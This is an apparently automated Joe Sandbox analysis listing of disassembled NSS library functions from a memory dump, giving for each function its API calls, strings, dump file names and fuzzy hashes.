Instruction ID: ea32f6898c0b1e0fab1c9bfd5b8e051671aab25b0db9e52cb249c512cf11e934
Opcode Fuzzy Hash: 2f47c39e6b13f8f74c5b5d70bcae421ab911d0d3f6d0475a583996846c903912
Instruction Fuzzy Hash: AE31C4F1E007019BEB219F64AC01B677AF4AF15648B544538E94A87B41FB31F928CBA2

Function 6CE65E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE65ECF
EnterCriticalSection.KERNEL32(?), ref: 6CE65EE3
PR_Unlock.NSS3(?), ref: 6CE65F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CE65FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CE661F4
S&l, xrefs: 6CE662E3
S&l, xrefs: 6CE65E6C, 6CE6627F, 6CE65F12

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: 233bf19629e6caefaec8abb4cfc259e88678825ee49281ce42a42b6ff977c06d
Instruction ID: 1a2cd03056133e013d53cddfc659cb02246c84987811a9e24236317173f8b18f
Opcode Fuzzy Hash: 233bf19629e6caefaec8abb4cfc259e88678825ee49281ce42a42b6ff977c06d
Instruction Fuzzy Hash: 3BF106B5A112158FDB54CF19C884B86BBF4FF09308F2582AAD8089F746D774EA85CF91

Function 6CEB0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEB0C81

Part of subcall function 6CE9BE30: SECOID_FindOID_Util.NSS3(6CE5311B,00000000,?,6CE5311B,?), ref: 6CE9BE44

Part of subcall function 6CE88500: SECOID_GetAlgorithmTag_Util.NSS3(6CE895DC,00000000,00000000,00000000,?,6CE895DC,00000000,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE88517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB0CC4

Part of subcall function 6CE9FAB0: free.MOZGLUE(?,-00000001,?,?,6CE3F673,00000000,00000000), ref: 6CE9FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEB0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEB0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEB0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEB0D7D
free.MOZGLUE(00000000), ref: 6CEB0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB0DC1
free.MOZGLUE(00000000), ref: 6CEB0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEB0E0F

Part of subcall function 6CE895C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE895E0
Part of subcall function 6CE895C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE895F5
Part of subcall function 6CE895C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CE89609
Part of subcall function 6CE895C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE8961D
Part of subcall function 6CE895C0: PK11_GetInternalSlot.NSS3 ref: 6CE8970B
Part of subcall function 6CE895C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE89756
Part of subcall function 6CE895C0: PK11_GetIVLength.NSS3(?), ref: 6CE89767
Part of subcall function 6CE895C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE8977E
Part of subcall function 6CE895C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE8978E

Strings

*,l, xrefs: 6CEB0DCC
*,l, xrefs: 6CEB0C69, 6CEB0DE0, 6CEB0C80, 6CEB0C8B, 6CEB0CAF
-$l, xrefs: 6CEB0C64

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: ddc44c1e616828a64c9635a9fa11da9558d3209c76c6f5ffc4ca8ad7f2733bc2
Instruction ID: 97fe8941264b5e1cba933133ba01ba91921ae5398ff7473387ef51934183efb1
Opcode Fuzzy Hash: ddc44c1e616828a64c9635a9fa11da9558d3209c76c6f5ffc4ca8ad7f2733bc2
Instruction Fuzzy Hash: 1341A0F1E01245ABEB009F65DE41BBF7674AF0535CF200128E91967B81E735BA14CBE2

Function 6CEA5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CEA5EC0,00000000,?,?), ref: 6CEA5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CEA5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CEA5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CEA5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CEA5EC0,00000000,?,?), ref: 6CEA5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CEA5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CEA5D80

Strings

extern:, xrefs: 6CEA5CEA, 6CEA5D4B
sql:, xrefs: 6CEA5CD1, 6CEA5D36
multiaccess:, xrefs: 6CEA5CB8
dbm:, xrefs: 6CEA5D03, 6CEA5D60
NSS_DEFAULT_DB_TYPE, xrefs: 6CEA5D1A

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 2f3955005d6038f679e7a43a1b4d6dd61b5437533c787cf72e88999140fab0ce
Instruction ID: a5bb42fdde0ce59a24d52fbab56362a27dd4f5607cf46831c8d33e12fd841908
Opcode Fuzzy Hash: 2f3955005d6038f679e7a43a1b4d6dd61b5437533c787cf72e88999140fab0ce
Instruction Fuzzy Hash: 9931D5A0B437415FEB401BA59C48B5B3A78AF0224CF340031FE56AAA81E676D902C655

Function 6CEA6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF71DE0,?), ref: 6CEA6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CEA6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CEA6D82
DER_GetInteger_Util.NSS3(?), ref: 6CEA6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEA6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CEA6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CEA6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CEA6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CEA6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEA7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CEA7033
free.MOZGLUE(?), ref: 6CEA703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CEA7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CEA7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CEA70AF

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: aa294ec38220f5dc7c61011a7531a44c931093d3a62b610ff4cc5d9bbfcbb258
Instruction ID: 83c0cfd51691df45d0ebc5f39c362f6a7c0c6de86fd103c59e0915f8a592ffa3
Opcode Fuzzy Hash: aa294ec38220f5dc7c61011a7531a44c931093d3a62b610ff4cc5d9bbfcbb258
Instruction Fuzzy Hash: E0A1F4759142009FEB009EA8DC86B5A36B8DB8730CF34893DE919CEB91E735D9478793

Function 6CE6AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE4AB95,00000000,?,00000000,00000000,00000000), ref: 6CE6AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE4AB95,00000000,?,00000000,00000000,00000000), ref: 6CE6AF39
PR_Unlock.NSS3(?,?,?,6CE4AB95,00000000,?,00000000,00000000,00000000), ref: 6CE6AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE4AB95,00000000,?,00000000,00000000,00000000), ref: 6CE6AF69
TlsGetValue.KERNEL32 ref: 6CE6B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE6B083
PR_Unlock.NSS3(?), ref: 6CE6B0A4
TlsGetValue.KERNEL32 ref: 6CE6B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE6B0D9
PR_Unlock.NSS3 ref: 6CE6B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE6B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE6B182

Part of subcall function 6CE9FAB0: free.MOZGLUE(?,-00000001,?,?,6CE3F673,00000000,00000000), ref: 6CE9FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE6B177

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE4AB95,00000000,?,00000000,00000000,00000000), ref: 6CE6B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE4AB95,00000000,?,00000000,00000000,00000000), ref: 6CE6B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE4AB95,00000000,?,00000000,00000000,00000000), ref: 6CE6B1C2

Part of subcall function 6CE91560: TlsGetValue.KERNEL32(00000000,?,6CE60844,?), ref: 6CE9157A
Part of subcall function 6CE91560: EnterCriticalSection.KERNEL32(?,?,?,6CE60844,?), ref: 6CE9158F
Part of subcall function 6CE91560: PR_Unlock.NSS3(?,?,?,?,6CE60844,?), ref: 6CE915B2

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 405b701d1ad48b36cfdd01c8c450db81a13aaa00680ff86b210d4d3e10357159
Instruction ID: 77cd5ef39102316aa4110129708a53e05a568211756448d399a1247c578e4bd8
Opcode Fuzzy Hash: 405b701d1ad48b36cfdd01c8c450db81a13aaa00680ff86b210d4d3e10357159
Instruction Fuzzy Hash: 51A1C3B1E50205ABEF009F65DC41BEEBBB4EF0931CF244128E905A7B51E732E955CBA1

Function 6CE62C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE5E477,?,?,?,00000001,00000000,?,?,6CE63F23,?), ref: 6CE62C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE5E477,?,?,?,00000001,00000000,?,?,6CE63F23,?), ref: 6CE62C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE5E477,?,?,?,00000001,00000000,?,?,6CE63F23,?), ref: 6CE62C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE5E477,?,?,?,00000001,00000000,?,?,6CE63F23,?), ref: 6CE62C93

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE5E477,?,?,?,00000001,00000000,?,?,6CE63F23,?), ref: 6CE62CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE5E477,?,?,?,00000001,00000000,?,?,6CE63F23,?), ref: 6CE62CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE5E477,?,?,?,00000001,00000000,?,?,6CE63F23), ref: 6CE62CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE5E477,?,?,?,00000001,00000000,?), ref: 6CE62CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE5E477,?,?,?,00000001,00000000,?), ref: 6CE62D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE62D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE62D71
PR_Unlock.NSS3(?), ref: 6CE62D7E

Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307AD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307CD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307D6
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDC204A), ref: 6CE307E4
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,6CDC204A), ref: 6CE30864
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE30880
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,6CDC204A), ref: 6CE308CB
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308D7
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308FB

Strings

#?l, xrefs: 6CE62C43

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: f5c85eaee4004e78d8b82046dff70513bf8a611bf5fc2439ece117d5cf1fd655
Instruction ID: 96ece4421db6299606e0f4a388b28d92ba5c4c1b5ed58289466dccb52f61d7bc
Opcode Fuzzy Hash: f5c85eaee4004e78d8b82046dff70513bf8a611bf5fc2439ece117d5cf1fd655
Instruction Fuzzy Hash: 065139B6D10204ABDB009F25DC459AAB778FF2A35CB248524ED1897F12E732ED64C7E1

Function 6CEBAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEBADB1

Part of subcall function 6CE9BE30: SECOID_FindOID_Util.NSS3(6CE5311B,00000000,?,6CE5311B,?), ref: 6CE9BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEBADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CEBAE08

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBAE25
PL_FreeArenaPool.NSS3 ref: 6CEBAE63
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CEBAE4D

Part of subcall function 6CDC4C70: TlsGetValue.KERNEL32(?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4C97
Part of subcall function 6CDC4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CB0
Part of subcall function 6CDC4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDC3921,6CFA14E4,6CF0CC70), ref: 6CDC4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEBAE93
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CEBAECC
PL_FreeArenaPool.NSS3 ref: 6CEBAEDE
PL_FinishArenaPool.NSS3 ref: 6CEBAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEBAEF5
PL_FinishArenaPool.NSS3 ref: 6CEBAF16

Strings

security, xrefs: 6CEBADEE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 438482ea5619b78363e505ec3707503b13a1c2a98adc4b2ba286db8ce5c85e34
Instruction ID: d2d6be042cb2caae9238faba53c2df1cf62fcec24d361a298e3a6a7272afd1ec
Opcode Fuzzy Hash: 438482ea5619b78363e505ec3707503b13a1c2a98adc4b2ba286db8ce5c85e34
Instruction Fuzzy Hash: 9B411CB1984200ABEF214B58ED45BBE32B8AF4270CF700529F814A6F41F7359959C7D3

Function 6CF5AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF09890: TlsGetValue.KERNEL32(?,?,?,6CF097EB), ref: 6CF0989E

EnterCriticalSection.KERNEL32(?), ref: 6CF5AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF5AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF5AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF5AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF5B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF5B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF5B070
PR_JoinThread.NSS3(?), ref: 6CF5B07B
free.MOZGLUE(?), ref: 6CF5B084
EnterCriticalSection.KERNEL32(?), ref: 6CF5B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF5B0C4
PR_JoinThread.NSS3(?), ref: 6CF5B0F3
free.MOZGLUE(?), ref: 6CF5B0FC
PR_JoinThread.NSS3(?), ref: 6CF5B137
free.MOZGLUE(?), ref: 6CF5B140

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: e5577b053ad601798a9728c9e9cb0741a313efd9d374e02e6ae401dc530fad32
Instruction ID: f94e82ec1b402fac6bf3f361c865d5f06425ad7793112646fd72ba83dacb2a5a
Opcode Fuzzy Hash: e5577b053ad601798a9728c9e9cb0741a313efd9d374e02e6ae401dc530fad32
Instruction Fuzzy Hash: 319170B6A00601DFCB00DF24C880956BBF1FF5931876985A9D9195BB22E732FD55CF90

Function 6CED5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CED2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CED2A28,00000060,00000001), ref: 6CED2BF0
Part of subcall function 6CED2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CED2A28,00000060,00000001), ref: 6CED2C07
Part of subcall function 6CED2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CED2A28,00000060,00000001), ref: 6CED2C1E
Part of subcall function 6CED2BE0: free.MOZGLUE(?,00000000,00000000,?,6CED2A28,00000060,00000001), ref: 6CED2C4A

free.MOZGLUE(?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5D0F
free.MOZGLUE(?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5D4E
free.MOZGLUE(?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5D62
free.MOZGLUE(?,?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5D85
free.MOZGLUE(?,?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5D99
free.MOZGLUE(?,?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CED5E3E
free.MOZGLUE(?,?,?,?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CED5E47
free.MOZGLUE(?,?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CEDAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CED5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CEDAAD4), ref: 6CED5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CEDAAD4), ref: 6CED5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CEDAAD4), ref: 6CED5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CEDAAD4), ref: 6CED5F4B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 9b5efca74f2032a36aff5234f57a567adfd9613057c08547619a5b1ccb6fe7fb
